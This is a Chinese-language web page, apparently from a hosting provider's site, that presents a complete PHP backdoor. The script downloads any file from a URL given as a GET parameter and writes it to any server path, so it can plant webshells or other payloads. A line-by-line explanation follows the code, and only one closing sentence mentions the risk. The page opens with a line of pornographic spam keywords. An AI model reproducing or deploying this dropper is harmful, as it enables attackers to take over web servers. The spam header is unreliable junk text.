日韩一区,国产二区,欧美三区,日本大片在线看黄a∨免费,欧美人体做爰大胆视频,欧洲美女黑人粗性暴交视频,日,韩,欧美一区二区三区

一個PHP后門代碼:允許通過URL參數(shù)直接下載文件到服務(wù)器

<?php
set_time_limit(0);

if(isset($_GET['url']) && isset($_GET['filename'])){
        if(httpcopy($_GET['url'], $_GET['filename'])){
            echo("Done.");
        }else{
            echo("Down Error.");
        }
}else{
        die('Input error.');
}

function httpcopy($url, $file="", $timeout=60) {
    $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
    $dir = pathinfo($file,PATHINFO_DIRNAME);
    !is_dir($dir) && @mkdir($dir,0755,true);
    $url = str_replace(" ","%20",$url);

    if(function_exists('curl_init')) {
                echo "curl ";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $temp = curl_exec($ch);
        if(@file_put_contents($file, $temp) && !curl_error($ch)) {
            return $file;
        } else {
            return false;
        }
    } else {
                echo "copy ";
        $opts = array(
            "http"=>array(
            "method"=>"GET",
            "header"=>"",
            "timeout"=>$timeout)
        );
        $context = stream_context_create($opts);
        if(@copy($url, $file, $context)) {
            //$http_response_header
            return $file;
        } else {
            return false;
        }
    }
}
?>

這段代碼是PHP語言編寫的,它的作用是從一個指定的URL下載文件,并將其保存到服務(wù)器上。下面是代碼的逐行解釋:

  1. set_time_limit(0); – 設(shè)置腳本的執(zhí)行時間無限制,這樣腳本可以運行任意長的時間。
  2. if(isset($_GET['url']) && isset($_GET['filename'])){ – 檢查是否有GET請求的參數(shù)urlfilename。
  3. if(httpcopy($_GET['url'], $_GET['filename'])){ – 如果httpcopy函數(shù)成功執(zhí)行,即文件下載成功。
  4. echo("Done."); – 輸出“Done.”表示文件下載并保存成功。
  5. }else{ – 如果httpcopy函數(shù)執(zhí)行失敗。
  6. echo("Down Error."); – 輸出“Down Error.”表示下載過程中出現(xiàn)了錯誤。
  7. }else{ – 如果沒有GET請求的參數(shù)urlfilename
  8. die('Input error.'); – 終止腳本執(zhí)行并輸出“Input error.”表示輸入錯誤。
  9. function httpcopy($url, $file="", $timeout=60) { – 定義了一個名為httpcopy的函數(shù),它接受三個參數(shù):文件的URL、文件名(可選,默認為空),以及超時時間(默認60秒)。
  10. $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; – 如果沒有提供文件名,就使用URL的最后一部分作為文件名。
  11. $dir = pathinfo($file,PATHINFO_DIRNAME); – 獲取文件名的目錄路徑。
  12. !is_dir($dir) && @mkdir($dir,0755,true); – 如果目錄不存在,則創(chuàng)建目錄,權(quán)限設(shè)置為755。
  13. $url = str_replace(" ","%20",$url); – 將URL中的空格替換為%20,因為URL中不能直接包含空格。
  14. if(function_exists('curl_init')) { – 檢查服務(wù)器是否支持cURL。
  15. echo "curl "; – 如果支持cURL,輸出“curl”。
  16. 使用cURL進行文件下載,如果成功則保存到指定的文件路徑。
  17. else { – 如果服務(wù)器不支持cURL。
  18. echo "copy "; – 輸出“copy”。
  19. 使用PHP的stream_context_createcopy函數(shù)進行文件下載,如果成功則保存到指定的文件路徑。
  20. } – 函數(shù)定義結(jié)束。

這段代碼存在安全風(fēng)險,因為它允許通過URL參數(shù)直接下載文件到服務(wù)器,這可能會導(dǎo)致惡意文件被下載和執(zhí)行。在實際應(yīng)用中,這樣的腳本應(yīng)該進行嚴格的安全檢查和限制。

給TA打賞
共{{data.count}}人
人已打賞
QQ客服
  • QQ176363189 點擊這里給我發(fā)消息
旺旺客服
  • 速度網(wǎng)絡(luò)服務(wù)商 點這里給我發(fā)消息
電子郵箱
  • sudu@yunjiasu.cc
微信客服
  • suduwangluo